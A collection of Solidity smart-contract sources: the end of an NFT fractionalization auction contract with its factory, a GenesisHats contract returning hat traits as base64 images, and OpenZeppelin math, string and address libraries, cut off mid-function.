minutes <= _duration && _duration <= 731 days, "invalid duration"); require(_fee <= 1e18, "invalid fee"); require(_vault != address(0), "invalid address"); target = _target; tokenId = _tokenId; fractionsCount = _fractionsCount; fractionPrice = _fractionPrice; paymentToken = _paymentToken; kickoff = _kickoff; duration = _duration; fee = _fee; vault = _vault; released = false; cutoff = uint256(-1); bidder = address(0); name_ = _name; symbol_ = _symbol; _setupDecimals(_decimals); uint256 _feeFractionsCount = _fractionsCount.mul(_fee) / 1e18; uint256 _netFractionsCount = _fractionsCount - _feeFractionsCount; _mint(_from, _netFractionsCount); _mint(address(this), _feeFractionsCount); lockedFractions_ = _feeFractionsCount; lockedAmount_ = 0; } function status() external view returns (string memory _status) { return bidder == address(0) ? now < kickoff ? "PAUSE" : "OFFER" : now > cutoff ? "SOLD" : "AUCTION"; } function isOwner(address _from) public view returns (bool _soleOwner) { return bidder == address(0) && balanceOf(_from) + lockedFractions_ == fractionsCount; } function reservePrice() external view returns (uint256 _reservePrice) { return fractionsCount * fractionPrice; } function bidRangeOf(address _from) external view inAuction returns (uint256 _minFractionPrice, uint256 _maxFractionPrice) { if (bidder == address(0)) { _minFractionPrice = fractionPrice; } else { _minFractionPrice = (fractionPrice * 11 + 9) / 10; // 10% increase, rounded up } uint256 _fractionsCount = balanceOf(_from); if (bidder == _from) _fractionsCount += lockedFractions_; if (_fractionsCount == 0) { _maxFractionPrice = uint256(-1); } else { _maxFractionPrice = _minFractionPrice + (fractionsCount * fractionsCount * fractionPrice) / (_fractionsCount * _fractionsCount * 100); // 1% / (ownership ^ 2) } return (_minFractionPrice, _maxFractionPrice); } function bidAmountOf(address _from, uint256 _newFractionPrice) external view inAuction returns (uint256 _bidAmount) { uint256 _fractionsCount = balanceOf(_from); if (bidder == _from) _fractionsCount += lockedFractions_; return (fractionsCount - _fractionsCount) * _newFractionPrice; } function vaultBalance() external view returns (uint256 _vaultBalance) { if (now <= cutoff) return 0; uint256 _fractionsCount = totalSupply(); return _fractionsCount * fractionPrice; } function vaultBalanceOf(address _from) external view returns (uint256 _vaultBalanceOf) { if (now <= cutoff) return 0; uint256 _fractionsCount = balanceOf(_from); return _fractionsCount * fractionPrice; } function updatePrice(uint256 _newFractionPrice) external onlyOwner { address _from = msg.sender; require(fractionsCount * _newFractionPrice / fractionsCount == _newFractionPrice, "price overflow"); uint256 _oldFractionPrice = fractionPrice; fractionPrice = _newFractionPrice; emit UpdatePrice(_from, _oldFractionPrice, _newFractionPrice); } function cancel() external nonReentrant onlyOwner { address _from = msg.sender; released = true; _burn(_from, balanceOf(_from)); _burn(address(this), lockedFractions_); IERC721(target).safeTransfer(_from, tokenId); emit Cancel(_from); _cleanup(); } function bid(uint256 _newFractionPrice) external payable nonReentrant inAuction { address payable _from = msg.sender; uint256 _value = msg.value; require(fractionsCount * _newFractionPrice / fractionsCount == _newFractionPrice, "price overflow"); uint256 _oldFractionPrice = fractionPrice; uint256 _fractionsCount; if (bidder == address(0)) { _transfer(address(this), vault, lockedFractions_); _fractionsCount = balanceOf(_from); uint256 _fractionsCount2 = _fractionsCount * _fractionsCount; require(_newFractionPrice >= _oldFractionPrice, "below minimum"); require(_newFractionPrice * _fractionsCount2 * 100 <= _oldFractionPrice * (_fractionsCount2 * 100 + fractionsCount * fractionsCount), "above maximum"); // <= 1% / (ownership ^ 2) cutoff = now + duration; } else { if (lockedFractions_ > 0) _transfer(address(this), bidder, lockedFractions_); _safeTransfer(paymentToken, bidder, lockedAmount_); _fractionsCount = balanceOf(_from); uint256 _fractionsCount2 = _fractionsCount * _fractionsCount; require(_newFractionPrice * 10 >= _oldFractionPrice * 11, "below minimum"); // >= 10% require(_newFractionPrice * _fractionsCount2 * 100 <= _oldFractionPrice * (_fractionsCount2 * 110 + fractionsCount * fractionsCount), "above maximum"); // <= 10% + 1% / (ownership ^ 2) if (cutoff < now + 15 minutes) cutoff = now + 15 minutes; } bidder = _from; fractionPrice = _newFractionPrice; uint256 _bidAmount = (fractionsCount - _fractionsCount) * _newFractionPrice; if (_fractionsCount > 0) _transfer(_from, address(this), _fractionsCount); _safeTransferFrom(paymentToken, _from, _value, payable(address(this)), _bidAmount); lockedFractions_ = _fractionsCount; lockedAmount_ = _bidAmount; emit Bid(_from, _oldFractionPrice, _newFractionPrice, _fractionsCount, _bidAmount); } function redeem() external nonReentrant onlyBidder afterAuction { address _from = msg.sender; require(!released, "missing token"); released = true; _burn(address(this), lockedFractions_); IERC721(target).safeTransfer(_from, tokenId); emit Redeem(_from); _cleanup(); } function claim() external nonReentrant onlyHolder afterAuction { address payable _from = msg.sender; uint256 _fractionsCount = balanceOf(_from); uint256 _claimAmount = _fractionsCount * fractionPrice; _burn(_from, _fractionsCount); _safeTransfer(paymentToken, _from, _claimAmount); emit Claim(_from, _fractionsCount, _claimAmount); _cleanup(); } function _cleanup() internal { uint256 _fractionsCount = totalSupply(); if (released && _fractionsCount == 0) { selfdestruct(address(0)); } } function _safeTransfer(address _token, address payable _to, uint256 _amount) internal { if (_token == address(0)) { _to.transfer(_amount); } else { IERC20(_token).safeTransfer(_to, _amount); } } function _safeTransferFrom(address _token, address payable _from, uint256 _value, address payable _to, uint256 _amount) internal { if (_token == address(0)) { require(_value == _amount, "invalid value"); if (_to != address(this)) _to.transfer(_amount); } else { require(_value == 0, "invalid value"); IERC20(_token).safeTransferFrom(_from, _to, _amount); } } event UpdatePrice(address indexed _from, uint256 _oldFractionPrice, uint256 _newFractionPrice); event Cancel(address indexed _from); event Bid(address indexed _from, uint256 _oldFractionPrice, uint256 _newFractionPrice, uint256 _fractionsCount, uint256 _bidAmount); event Redeem(address indexed _from); event Claim(address indexed _from, uint256 _fractionsCount, uint256 _claimAmount); } // File: contracts/v1.5/AuctionFractionalizer.sol pragma solidity ^0.6.0; contract AuctionFractionalizer is ReentrancyGuard { address public immutable vault; constructor (address _vault) public { vault = _vault; } function fractionalize(address _target, uint256 _tokenId, string memory _name, string memory _symbol, uint8 _decimals, uint256 _fractionsCount, uint256 _fractionPrice, address _paymentToken, uint256 _kickoff, uint256 _duration, uint256 _fee) external nonReentrant returns (address _fractions) { address _from = msg.sender; _fractions = address(new AuctionFractions()); IERC721(_target).transferFrom(_from, _fractions, _tokenId); AuctionFractionsImpl(_fractions).initialize(_from, _target, _tokenId, _name, _symbol, _decimals, _fractionsCount, _fractionPrice, _paymentToken, _kickoff, _duration, _fee, vault); emit Fractionalize(_from, _target, _tokenId, _fractions); return _fractions; } event Fractionalize(address indexed _from, address indexed _target, uint256 indexed _tokenId, address _fractions); }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract GenesisHats { function G_Hats(uint32 traitId_) public pure returns (string[2] memory) { if (traitId_ == 0) return ["Laurel Wreath","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcExbqGFVlFpMf1DJ4Q/MAAAAAXRSTlMAQObYZgAAAEBJREFUGNNjYKAWYGFlYAwA0qyskioMTA5Alo6k6hIGhgNAlsXKuFSIqmehzg0Q1j/nCw4QFv+EDzBDnjAMAwAAzgkLGImTK3sAAAAASUVORK5CYII="]; if (traitId_ == 1) return ["Viking Helmet","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAElBMVEVHcEy5ubl7e3vd3bbHx57///+zOcN9AAAAAXRSTlMAQObYZgAAAIBJREFUGBntwcEJwzAMhtEPkwV+Qe+W6AAJ6gCBaIHuv0zt3Aw99tj3+OJkscO1Ay0GhtyhEsLl8oDMHbbMJplkisoCtisPySW5nq+ToTIP02CyYtoqD3/o/ZDbya1KrsnUubkUg1tEMDXJGFqHxtSkzsKlziLCO4sgOovO3499AP6VD5uBm5FwAAAAAElFTkSuQmCC"]; if (traitId_ == 2) return ["Brain","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAElBMVEVHcEykSovHa63te8zxidPYc7t5AAHpAAAAAXRSTlMAQObYZgAAAEZJREFUKM9jYKAuUHZ0VDRAERAyFDISdkAIMCsqCykJCSnDBRgFTQWFDJ0UHeEiisqiwkaGKobGAnAhJSBWYDZgGAVDDwAADWoF0V8fKskAAAAASUVORK5CYII="]; if (traitId_ == 3) return ["Banana Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcEwAAAD/2QDStxxaH+++AAAAAXRSTlMAQObYZgAAAFZJREFUGNNjYAACFgYYkIQxGMNCoSzxVasCIEJV61ctAbPYV8a/rASz5JawvooEs7IuMFTFOYBYVQ4MUu4gFuNLoAJHsNYnDAyyEEMuILOgFjswDCsAAGxNEXMpN3bEAAAAAElFTkSuQmCC"]; if (traitId_ == 4) return ["Headband","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEwAav////8bUkacAAAAAXRSTlMAQObYZgAAAB9JREFUGNNjYKASYAwNDXUAs7RWrVq1ACYUGsIw4gAAp28FsoyVMLgAAAAASUVORK5CYII="]; if (traitId_ == 5) return ["CK Cap","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAFVBMVEVHcEwAAAA/bP83Xt8dPqg1WMsWMIRjos2CAAAAAXRSTlMAQObYZgAAAGVJREFUKM/tjMERQEAUQ3c78GMV8NPByowGUIGhAPrvwYE1XJwdvFveJAnhBTOrHiKS9EcBTvgtawMAlFns1WWCxmKS2tUzeXViP3WsM4lylMZ5ZSMj/DBxGJZZaZKk09iN8PNpdoL8DPkTKLMPAAAAAElFTkSuQmCC"]; if (traitId_ == 6) return ["Top Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEwAAAD///8W1S+BAAAAAXRSTlMAQObYZgAAADlJREFUGNNjYEAA1lAgCIGxUqfAWNNgYmGRMFZkKoyVOhXGmhbqGuoAYoVFAjU5QIwLhUg6MIwgAADkMxINv1J5ZwAAAABJRU5ErkJggg=="]; if (traitId_ == 7) return ["Headphones","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAElBMVEVHcEwAAAClpaWNjY12dXXX19chK4aGAAAAAXRSTlMAQObYZgAAAF9JREFUKM9jYCAaMAoKCgqgCAgpKSkpIosABQRQNQkJCqKZoohhLoaIkABBEWoZoxSIJiKsFIqqiNFZUBRVEaOjUSCGiCJhEWNFRXSThdAcLWJsjB5eLo7ojkYP0sEOAJ/zCbaMNbYVAAAAAElFTkSuQmCC"]; if (traitId_ == 8) return ["Hard Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAFVBMVEVHcEwAAADagQT/lQDsiwP15M33oimbFkBGAAAAAXRSTlMAQObYZgAAAFtJREFUKM9jYMAFGAUFBVAEBIWNnAMFkQVUjI2MzVIRqhhdnI1VjI3NAuEiQk5gEWNjuCIhIBcsAlMkqAQHUAuFlFRcgMAZpMoQbC5cBVDCEeo4BBBgGAWDGQAAVYAPRcTic3MAAAAASUVORK5CYII="]; if (traitId_ == 9) return ["Straw Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAHlBMVEVHcEwAAADUwij/AADAryKvoSWuBATQBweklymUBATMbxTWAAAAAXRSTlMAQObYZgAAAFBJREFUKM9jYMAFBAUFUfiMgkpKSoICSAIiTkARJUWEkGiIEhgowpW0ujhBhAQQpsIAVEQyLb3cGAwMYRYhgADUmFAXFxeEQcgqEKpGwSAFALvUDPUwnpqIAAAAAElFTkSuQmCC"]; if (traitId_ == 10) return ["Head Mirror","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAAFVBMVEVHcEwAAADd9/TR8u1WVla+3tr///9eHjyQAAAAAXRSTlMAQObYZgAAAE5JREFUKM9jYCAJCAqiCTAqqQmgiggpqSWiKglWUkoTQBVRFFKCiTAKgkCwohJcRMQFCBxDjY2VBOHWgoBosLKiIKpBxsYChFw4CgYaAABTtwg7ucdTMAAAAABJRU5ErkJggg=="]; if (traitId_ == 11) return ["Propeller Hat","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiBAMAAADIaRbxAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAALVBMVEVHcEwAAAAAkf//2QD/DQBV/wDwDwMDjPRJygjgvwYFhOPpxwXxzgbgEAQ+rwZcEysGAAAAAXRSTlMAQObYZgAAAF5JREFUKM9jYMAOGAXBAE0QmxoBJAHRYGMjJRVHhJBE6GSgiJJLIlxJa6SxsVGRkoubAFzJbGNj8yIlFZgixhcgEatyoLZcAahI5+w9Z6xWFSmlwUQEEUCAYRQMagAAs48U2l8cSMAAAAAASUVORK5CYII="]; if (traitId_ == 12) return ["Green Beanie","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcEwTjw0AAAAQqwgqORpWAAAAAXRSTlMAQObYZgAAAEJJREFUGNNjYCAAmFatWgFhad4tv9cAZm0vv/v9AVjyfvn92hsgFnft9/u130As1VAQACnUvQsCIJbWKhBoYBgZAAB4lhthdWriogAAAABJRU5ErkJggg=="]; if (traitId_ == 13) return ["Blue Bandana","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEwWbbUSYKFTZGqGAAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYCAEtFatgDCYpoaGNYBZnKGhoQlgliqQFQGk2ZiWQlmcs1atmhq1CiQpAdS8AKwzAWYYF8MIAADVng0FSLV2IQAAAABJRU5ErkJggg=="]; if (traitId_ == 14) return ["Grey Beanie","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcExqamp6enoAAACxT+7nAAAAAXRSTlMAQObYZgAAAEJJREFUGNNjYCAAmP///wNh2c5Mm30AzHqWNnPZBrDkrLRZmXNALL7MZbMyl4NYpqEgAFJoORMEQCz7/yBwgGFkAAC3uhrH08ZcGwAAAABJRU5ErkJggg=="]; if (traitId_ == 15) return ["Green Bandana","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcExatRZPoRIpSJs4AAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYCAEtFatgDCYpoaGNYBZnKGhoQlgliqQFQGk2ZiWQlmcs1atmhq1CiQpAdS8AKwzAWYYF8MIAADVng0FSLV2IQAAAABJRU5ErkJggg=="]; if (traitId_ == 16) return ["Afro","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAQMAAAAAiZmBAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAABlBMVEVHcEwAAACfKoRRAAAAAXRSTlMAQObYZgAAAE5JREFUCNelxLEJg0AABdAHgVRHHMFNvNEuo2WUG+FKC/FbiEFImVc8aj5oGTySjSnZma9Dvd3O99LIaiHD63v3JF0hHbYOKxg/v2//7QC84C8qK5nK1gAAAABJRU5ErkJggg=="]; if (traitId_ == 17) return ["Yellow Bandana","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEy1khahghKgbkuwAAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYCAEtFatgDCYpoaGNYBZnKGhoQlgliqQFQGk2ZiWQlmcs1atmhq1CiQpAdS8AKwzAWYYF8MIAADVng0FSLV2IQAAAABJRU5ErkJggg=="]; if (traitId_ == 18) return ["Flat Top","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAQMAAAAAiZmBAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAABlBMVEVHcEwAAACfKoRRAAAAAXRSTlMAQObYZgAAAD5JREFUCNdjYIAA9v8PgKQ8mLQHk/X/PwDJ/yCSEUb+YGBg/iO/A0g+YOYAajoA1gom+R8gSB4wyaHAQF8AALJMGImRZHbGAAAAAElFTkSuQmCC"]; if (traitId_ == 19) return ["Purple Bandana","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAACVBMVEVHcEx1FrVnEqEcNXdjAAAAAXRSTlMAQObYZgAAAD9JREFUGNNjYCAEtFatgDCYpoaGNYBZnKGhoQlgliqQFQGk2ZiWQlmcs1atmhq1CiQpAdS8AKwzAWYYF8MIAADVng0FSLV2IQAAAABJRU5ErkJggg=="]; if (traitId_ == 20) return ["Orange Beanie","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcEzVhRQAAAD/mgzh7PF3AAAAAXRSTlMAQObYZgAAAEJJREFUGNNjYCAAmFatWgFhad4tv9cAZm0vv/v9AVjyfvn92hsgFnft9/u130As1VAQACnUvQsCIJbWKhBoYBgZAAB4lhthdWriogAAAABJRU5ErkJggg=="]; if (traitId_ == 21) return ["Blue Beanie","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAgMAAABHKeNRAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAADFBMVEVHcEwHT7UAAAAAWtlSfN4VAAAAAXRSTlMAQObYZgAAAEJJREFUGNNjYCAAmFatWgFhad4tv9cAZm0vv/v9AVjyfvn92hsgFnft9/u130As1VAQACnUvQsCIJbWKhBoYBgZAAB4lhthdWriogAAAABJRU5ErkJggg=="]; if (traitId_ == 22) return ["Mohawk","iVBORw0KGgoAAAANSUhEUgAAACIAAAAiAQMAAAAAiZmBAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAABlBMVEVHcEwAAACfKoRRAAAAAXRSTlMAQObYZgAAACFJREFUCNdjYIACZjDJDybrQQTjf7AwmGSQA5M8DIMaAADhJAK+ZSrrIAAAAABJRU5ErkJggg=="]; if (traitId_ == 23) return ["Hidden","iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVQYV2NgYAAAAAMAAWgmWQ0AAAAASUVORK5CYII="]; return ["",""]; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-27 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) 